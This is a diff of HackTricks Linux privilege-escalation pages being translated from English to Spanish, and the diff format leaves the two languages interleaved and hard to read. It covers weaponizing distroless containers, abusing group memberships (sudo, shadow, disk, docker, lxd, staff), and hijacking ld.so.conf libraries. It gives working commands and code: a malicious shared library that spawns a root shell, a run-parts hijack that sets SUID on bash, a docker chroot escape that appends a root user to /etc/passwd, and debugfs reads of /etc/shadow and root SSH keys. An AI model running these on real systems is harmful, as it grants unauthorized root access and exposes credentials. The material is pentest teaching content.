A distroless container is a type of container that **contains only the necessary dependencies to run a specific application**, without any additional software or tools that are not required. These containers are designed to be as **lightweight** and **secure** as possible, and they aim to **minimize the attack surface** by removing any unnecessary components. Un contenedor distroless es un tipo de contenedor que **contiene solo las dependencias necesarias para ejecutar una aplicación específica**, sin ningún software o herramienta adicional que no sea requerido. Estos contenedores están diseñados para ser lo más **ligeros** y **seguros** posible, y su objetivo es **minimizar la superficie de ataque** al eliminar cualquier componente innecesario.
Distroless containers are often used in **production environments where security and reliability are paramount**. Los contenedores distroless se utilizan a menudo en **entornos de producción donde la seguridad y la fiabilidad son primordiales**.
Some **examples** of **distroless containers** are: Algunos **ejemplos** de **contenedores distroless** son:
- Provided by **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL) - Proporcionados por **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
- Provided by **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images) - Proporcionados por **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
## Weaponizing Distroless ## Weaponizing Distroless
The goal of weaponize a distroless container is to be able to **execute arbitrary binaries and payloads even with the limitations** implied by **distroless** (lack of common binaries in the system) and also protections commonly found in containers such as **read-only** or **no-execute** in `/dev/shm`. El objetivo de armar un contenedor distroless es poder **ejecutar binarios y cargas útiles arbitrarias incluso con las limitaciones** implicadas por **distroless** (falta de binarios comunes en el sistema) y también protecciones comúnmente encontradas en contenedores como **solo lectura** o **sin ejecución** en `/dev/shm`.
### Through memory ### Through memory
@ -25,6 +25,6 @@ Coming at some point of 2023...
#### openssl #### openssl
\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed\*\* by the software that is going to be running inside the container. \***\*[**En esta publicación,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) se explica que el binario **`openssl`** se encuentra frecuentemente en estos contenedores, potencialmente porque es **necesario\*\* por el software que se va a ejecutar dentro del contenedor.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,12 @@
# Interesting Groups - Linux Privesc # Grupos Interesantes - Linux Privesc
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Sudo/Admin Groups ## Grupos Sudo/Admin
### **PE - Method 1** ### **PE - Método 1**
**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines:
**A veces**, **por defecto (o porque algún software lo necesita)** dentro del **/etc/sudoers** archivo puedes encontrar algunas de estas líneas:
```bash ```bash
# Allow members of group sudo to execute any command # Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL %sudo ALL=(ALL:ALL) ALL
@ -15,48 +14,36 @@
# Allow members of group admin to execute any command # Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL %admin ALL=(ALL:ALL) ALL
``` ```
Esto significa que **cualquier usuario que pertenezca al grupo sudo o admin puede ejecutar cualquier cosa como sudo**.
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. Si este es el caso, para **convertirse en root solo puedes ejecutar**:
If this is the case, to **become root you can just execute**:
``` ```
sudo su sudo su
``` ```
### PE - Método 2
### PE - Method 2 Encuentra todos los binarios suid y verifica si hay el binario **Pkexec**:
Find all suid binaries and check if there is the binary **Pkexec**:
```bash ```bash
find / -perm -4000 2>/dev/null find / -perm -4000 2>/dev/null
``` ```
Si encuentras que el binario **pkexec es un binario SUID** y perteneces a **sudo** o **admin**, probablemente podrías ejecutar binarios como sudo usando `pkexec`.\
If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\ Esto se debe a que típicamente esos son los grupos dentro de la **política de polkit**. Esta política identifica básicamente qué grupos pueden usar `pkexec`. Verifícalo con:
This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with:
```bash ```bash
cat /etc/polkit-1/localauthority.conf.d/* cat /etc/polkit-1/localauthority.conf.d/*
``` ```
Ahí encontrarás qué grupos tienen permiso para ejecutar **pkexec** y **por defecto** en algunas distribuciones de linux aparecen los grupos **sudo** y **admin**.
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear. Para **convertirte en root puedes ejecutar**:
To **become root you can execute**:
```bash ```bash
pkexec "/bin/sh" #You will be prompted for your user password pkexec "/bin/sh" #You will be prompted for your user password
``` ```
Si intentas ejecutar **pkexec** y obtienes este **error**:
If you try to execute **pkexec** and you get this **error**:
```bash ```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED === ==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized Error executing command as another user: Not authorized
``` ```
**No es porque no tengas permisos, sino porque no estás conectado sin una GUI**. Y hay una solución para este problema aquí: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Necesitas **2 sesiones ssh diferentes**:
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
```bash:session1 ```bash:session1
echo $$ #Step1: Get current PID echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec pkexec "/bin/bash" #Step 3, execute pkexec
@ -67,39 +54,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1 pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec #Step 4, you will be asked in this session to authenticate to pkexec
``` ```
## Grupo Wheel
## Wheel Group **A veces**, **por defecto** dentro del **/etc/sudoers** archivo puedes encontrar esta línea:
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
``` ```
%wheel ALL=(ALL:ALL) ALL %wheel ALL=(ALL:ALL) ALL
``` ```
Esto significa que **cualquier usuario que pertenezca al grupo wheel puede ejecutar cualquier cosa como sudo**.
This means that **any user that belongs to the group wheel can execute anything as sudo**. Si este es el caso, para **convertirse en root solo puedes ejecutar**:
If this is the case, to **become root you can just execute**:
``` ```
sudo su sudo su
``` ```
## Grupo Shadow
## Shadow Group Los usuarios del **grupo shadow** pueden **leer** el **/etc/shadow** archivo:
Users from the **group shadow** can **read** the **/etc/shadow** file:
``` ```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
``` ```
Así que, lee el archivo y trata de **crackear algunos hashes**.
So, read the file and try to **crack some hashes**. ## Grupo de Personal
## Staff Group **staff**: Permite a los usuarios agregar modificaciones locales al sistema (`/usr/local`) sin necesidad de privilegios de root (ten en cuenta que los ejecutables en `/usr/local/bin` están en la variable PATH de cualquier usuario, y pueden "sobrescribir" los ejecutables en `/bin` y `/usr/bin` con el mismo nombre). Compara con el grupo "adm", que está más relacionado con la monitorización/seguridad. [\[source\]](https://wiki.debian.org/SystemGroups)
**staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security. [\[source\]](https://wiki.debian.org/SystemGroups)
In debian distributions, `$PATH` variable show that `/usr/local/` will be run as the highest priority, whether you are a privileged user or not.
En las distribuciones de debian, la variable `$PATH` muestra que `/usr/local/` se ejecutará con la máxima prioridad, ya seas un usuario privilegiado o no.
```bash ```bash
$ echo $PATH $ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
@ -107,11 +86,9 @@ $ echo $PATH
# echo $PATH # echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
``` ```
Si podemos secuestrar algunos programas en `/usr/local`, podemos obtener fácilmente acceso root.
If we can hijack some programs in `/usr/local`, we can easy to get root. Secuestrar el programa `run-parts` es una forma fácil de obtener acceso root, porque la mayoría de los programas ejecutarán un `run-parts` como (crontab, al iniciar sesión por ssh).
Hijack `run-parts` program is a way to easy to get root, because most of program will run a `run-parts` like (crontab, when ssh login).
```bash ```bash
$ cat /etc/crontab | grep run-parts $ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly 17 * * * * root cd / && run-parts --report /etc/cron.hourly
@ -119,9 +96,7 @@ $ cat /etc/crontab | grep run-parts
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
``` ```
o Cuando se inicia una nueva sesión de inicio de ssh.
or When a new ssh session login.
```bash ```bash
$ pspy64 $ pspy64
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
@ -134,9 +109,7 @@ $ pspy64
2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv] 2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash 2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash
``` ```
**Explotar**
**Exploit**
```bash ```bash
# 0x1 Add a run-parts script in /usr/local/bin/ # 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts $ vi /usr/local/bin/run-parts
@ -155,13 +128,11 @@ $ ls -la /bin/bash
# 0x5 root it # 0x5 root it
$ /bin/bash -p $ /bin/bash -p
``` ```
## Grupo de Disco
## Disk Group Este privilegio es casi **equivalente al acceso root** ya que puedes acceder a todos los datos dentro de la máquina.
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
Files:`/dev/sd[a-z][1-9]`
Archivos:`/dev/sd[a-z][1-9]`
```bash ```bash
df -h #Find where "/" is mounted df -h #Find where "/" is mounted
debugfs /dev/sda1 debugfs /dev/sda1
@ -170,57 +141,47 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow debugfs: cat /etc/shadow
``` ```
Tenga en cuenta que usando debugfs también puede **escribir archivos**. Por ejemplo, para copiar `/tmp/asd1.txt` a `/tmp/asd2.txt` puede hacer:
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
```bash ```bash
debugfs -w /dev/sda1 debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
``` ```
Sin embargo, si intentas **escribir archivos propiedad de root** (como `/etc/shadow` o `/etc/passwd`), recibirás un error de "**Permiso denegado**".
However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error. ## Grupo de Video
## Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
Usando el comando `w`, puedes encontrar **quién está conectado al sistema** y mostrará una salida como la siguiente:
```bash ```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
``` ```
El **tty1** significa que el usuario **yossi está conectado físicamente** a un terminal en la máquina.
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. El **grupo de video** tiene acceso para ver la salida de la pantalla. Básicamente, puedes observar las pantallas. Para hacer eso, necesitas **capturar la imagen actual en la pantalla** en datos en bruto y obtener la resolución que está utilizando la pantalla. Los datos de la pantalla se pueden guardar en `/dev/fb0` y podrías encontrar la resolución de esta pantalla en `/sys/class/graphics/fb0/virtual_size`
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
```bash ```bash
cat /dev/fb0 > /tmp/screen.raw cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size cat /sys/class/graphics/fb0/virtual_size
``` ```
Para **abrir** la **imagen en bruto** puedes usar **GIMP**, seleccionar el \*\*`screen.raw`\*\* y seleccionar como tipo de archivo **Datos de imagen en bruto**:
To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**:
![](<../../../images/image (463).png>) ![](<../../../images/image (463).png>)
Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen): Luego modifica el Ancho y Alto a los que se usaron en la pantalla y verifica diferentes Tipos de Imagen (y selecciona el que muestre mejor la pantalla):
![](<../../../images/image (317).png>) ![](<../../../images/image (317).png>)
## Root Group ## Grupo Root
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... Parece que por defecto **los miembros del grupo root** podrían tener acceso a **modificar** algunos archivos de configuración de **servicios** o algunos archivos de **bibliotecas** o **otras cosas interesantes** que podrían ser utilizadas para escalar privilegios...
**Check which files root members can modify**:
**Verifica qué archivos pueden modificar los miembros de root**:
```bash ```bash
find / -group root -perm -g=w 2>/dev/null find / -group root -perm -g=w 2>/dev/null
``` ```
## Grupo Docker
## Docker Group Puedes **montar el sistema de archivos raíz de la máquina host en el volumen de una instancia**, de modo que cuando la instancia se inicie, carga inmediatamente un `chroot` en ese volumen. Esto te da efectivamente acceso root en la máquina.
You can **mount the root filesystem of the host machine to an instances volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
```bash ```bash
docker image #Get images from the docker service docker image #Get images from the docker service
@ -232,33 +193,32 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container: #Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
``` ```
Finalmente, si no te gustan ninguna de las sugerencias anteriores, o no están funcionando por alguna razón (¿firewall de la API de docker?), siempre podrías intentar **ejecutar un contenedor privilegiado y escapar de él** como se explica aquí:
Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here:
{{#ref}} {{#ref}}
../docker-security/ ../docker-security/
{{#endref}} {{#endref}}
If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.** Si tienes permisos de escritura sobre el socket de docker, lee [**esta publicación sobre cómo escalar privilegios abusando del socket de docker**](../#writable-docker-socket)**.**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
## lxc/lxd Group ## Grupo lxc/lxd
{{#ref}} {{#ref}}
./ ./
{{#endref}} {{#endref}}
## Adm Group ## Grupo Adm
Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\ Por lo general, **los miembros** del grupo **`adm`** tienen permisos para **leer archivos de registro** ubicados dentro de _/var/log/_.\
Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**. Por lo tanto, si has comprometido a un usuario dentro de este grupo, definitivamente deberías **mirar los registros**.
## Auth group ## Grupo Auth
Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\ Dentro de OpenBSD, el grupo **auth** generalmente puede escribir en las carpetas _**/etc/skey**_ y _**/var/db/yubikey**_ si se utilizan.\
These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) Estos permisos pueden ser abusados con el siguiente exploit para **escalar privilegios** a root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# lxd/lxc Group - Privilege escalation # lxd/lxc Grupo - Escalación de privilegios
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root Si perteneces al grupo _**lxd**_ **o** _**lxc**_, puedes convertirte en root
## Exploiting without internet ## Explotando sin internet
### Method 1 ### Método 1
You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github):
Puedes instalar en tu máquina este constructor de distribuciones: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(sigue las instrucciones del github):
```bash ```bash
sudo su sudo su
# Install requirements # Install requirements
@ -34,9 +33,7 @@ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
## Using build-lxc ## Using build-lxc
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18 sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
``` ```
Sube los archivos **lxd.tar.xz** y **rootfs.squashfs**, añade la imagen al repositorio y crea un contenedor:
Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container:
```bash ```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
@ -51,23 +48,19 @@ lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
``` ```
> [!CAUTION] > [!CAUTION]
> If you find this error _**Error: No storage pool found. Please create a new storage pool**_\ > Si encuentras este error _**Error: No se encontró ningún grupo de almacenamiento. Por favor, crea un nuevo grupo de almacenamiento**_\
> Run **`lxd init`** and **repeat** the previous chunk of commands > Ejecuta **`lxd init`** y **repite** el bloque anterior de comandos
Finally you can execute the container and get root:
Finalmente puedes ejecutar el contenedor y obtener root:
```bash ```bash
lxc start privesc lxc start privesc
lxc exec privesc /bin/sh lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
``` ```
### Método 2
### Method 2 Construya una imagen de Alpine y iníciela usando la bandera `security.privileged=true`, forzando al contenedor a interactuar como root con el sistema de archivos del host.
Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
```bash ```bash
# build a simple alpine image # build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder git clone https://github.com/saghul/lxd-alpine-builder
@ -87,5 +80,4 @@ lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image # mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
``` ```
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,82 +2,71 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Prepare the environment ## Preparar el entorno
In the following section you can find the code of the files we are going to use to prepare the environment En la siguiente sección puedes encontrar el código de los archivos que vamos a usar para preparar el entorno
{{#tabs}} {{#tabs}}
{{#tab name="sharedvuln.c"}} {{#tab name="sharedvuln.c"}}
```c ```c
#include <stdio.h> #include <stdio.h>
#include "libcustom.h" #include "libcustom.h"
int main(){ int main(){
printf("Welcome to my amazing application!\n"); printf("Welcome to my amazing application!\n");
vuln_func(); vuln_func();
return 0; return 0;
} }
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="libcustom.h"}} {{#tab name="libcustom.h"}}
```c ```c
#include <stdio.h> #include <stdio.h>
void vuln_func(); void vuln_func();
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="libcustom.c"}} {{#tab name="libcustom.c"}}
```c ```c
#include <stdio.h> #include <stdio.h>
void vuln_func() void vuln_func()
{ {
puts("Hi"); puts("Hi");
} }
``` ```
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
1. **Create** those files in your machine in the same folder 1. **Crea** esos archivos en tu máquina en la misma carpeta
2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c` 2. **Compila** la **biblioteca**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. **Copy** `libcustom.so` to `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs) 3. **Copia** `libcustom.so` a `/usr/lib`: `sudo cp libcustom.so /usr/lib` (privilegios de root)
4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom` 4. **Compila** el **ejecutable**: `gcc sharedvuln.c -o sharedvuln -lcustom`
### Check the environment ### Verifica el entorno
Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary.
Verifica que _libcustom.so_ esté siendo **cargado** desde _/usr/lib_ y que puedas **ejecutar** el binario.
``` ```
$ ldd sharedvuln $ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000) linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000) libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000) /lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln $ ./sharedvuln
Welcome to my amazing application! Welcome to my amazing application!
Hi Hi
``` ```
## Exploit ## Exploit
In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_: En este escenario vamos a suponer que **alguien ha creado una entrada vulnerable** dentro de un archivo en _/etc/ld.so.conf/_:
```bash ```bash
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
``` ```
La carpeta vulnerable es _/home/ubuntu/lib_ (donde tenemos acceso de escritura).\
The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ **Descarga y compila** el siguiente código dentro de esa ruta:
**Download and compile** the following code inside that path:
```c ```c
//gcc -shared -o libcustom.so -fPIC libcustom.c //gcc -shared -o libcustom.so -fPIC libcustom.c
@ -86,27 +75,23 @@ The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
#include <sys/types.h> #include <sys/types.h>
void vuln_func(){ void vuln_func(){
setuid(0); setuid(0);
setgid(0); setgid(0);
printf("I'm the bad library\n"); printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL); system("/bin/sh",NULL,NULL);
} }
``` ```
Ahora que hemos **creado la biblioteca maliciosa libcustom dentro de la ruta mal configurada**, necesitamos esperar a un **reinicio** o a que el usuario root ejecute **`ldconfig`** (_en caso de que puedas ejecutar este binario como **sudo** o tenga el **suid bit**, podrás ejecutarlo tú mismo_).
Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_). Una vez que esto haya sucedido, **verifica de nuevo** de dónde está cargando el ejecutable `sharevuln` la biblioteca `libcustom.so`:
Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from:
```c ```c
$ldd sharedvuln $ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000) linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) /lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
``` ```
Como puedes ver, se **carga desde `/home/ubuntu/lib`** y si algún usuario lo ejecuta, se ejecutará un shell:
As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed:
```c ```c
$ ./sharedvuln $ ./sharedvuln
Welcome to my amazing application! Welcome to my amazing application!
@ -114,40 +99,35 @@ I'm the bad library
$ whoami $ whoami
ubuntu ubuntu
``` ```
> [!NOTE] > [!NOTE]
> Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges. > Tenga en cuenta que en este ejemplo no hemos escalado privilegios, pero modificando los comandos ejecutados y **esperando a que el usuario root u otro usuario privilegiado ejecute el binario vulnerable** podremos escalar privilegios.
### Other misconfigurations - Same vuln ### Otras malas configuraciones - Misma vulnerabilidad
In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\ En el ejemplo anterior simulamos una mala configuración donde un administrador **estableció una carpeta no privilegiada dentro de un archivo de configuración dentro de `/etc/ld.so.conf.d/`**.\
But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it. Pero hay otras malas configuraciones que pueden causar la misma vulnerabilidad, si tiene **permisos de escritura** en algún **archivo de configuración** dentro de `/etc/ld.so.conf.d`, en la carpeta `/etc/ld.so.conf.d` o en el archivo `/etc/ld.so.conf` puede configurar la misma vulnerabilidad y explotarla.
## Exploit 2 ## Exploit 2
**Suppose you have sudo privileges over `ldconfig`**.\ **Suponga que tiene privilegios de sudo sobre `ldconfig`**.\
You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\ Puede indicar a `ldconfig` **dónde cargar los archivos de configuración**, así que podemos aprovechar esto para hacer que `ldconfig` cargue carpetas arbitrarias.\
So, lets create the files and folders needed to load "/tmp": Así que, vamos a crear los archivos y carpetas necesarios para cargar "/tmp":
```bash ```bash
cd /tmp cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf echo "/tmp" > conf/evil.conf
``` ```
Ahora, como se indica en el **exploit anterior**, **crea la biblioteca maliciosa dentro de `/tmp`**.\
Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\ Y finalmente, carguemos la ruta y verifiquemos de dónde está cargando la biblioteca el binario:
And finally, lets load the path and check where is the binary loading the library from:
```bash ```bash
ldconfig -f fake.ld.so.conf ldconfig -f fake.ld.so.conf
ldd sharedvuln ldd sharedvuln
linux-vdso.so.1 => (0x00007fffa2dde000) linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000) libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) /lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
``` ```
**Como puedes ver, tener privilegios de sudo sobre `ldconfig` te permite explotar la misma vulnerabilidad.**
**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.**
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,19 +2,17 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
{% embed url="https://websec.nl/" %} Una máquina linux también puede estar presente dentro de un entorno de Active Directory.
A linux machine can also be present inside an Active Directory environment. Una máquina linux en un AD podría estar **almacenando diferentes tickets CCACHE dentro de archivos. Estos tickets pueden ser utilizados y abusados como cualquier otro ticket kerberos**. Para leer estos tickets necesitarás ser el usuario propietario del ticket o **root** dentro de la máquina.
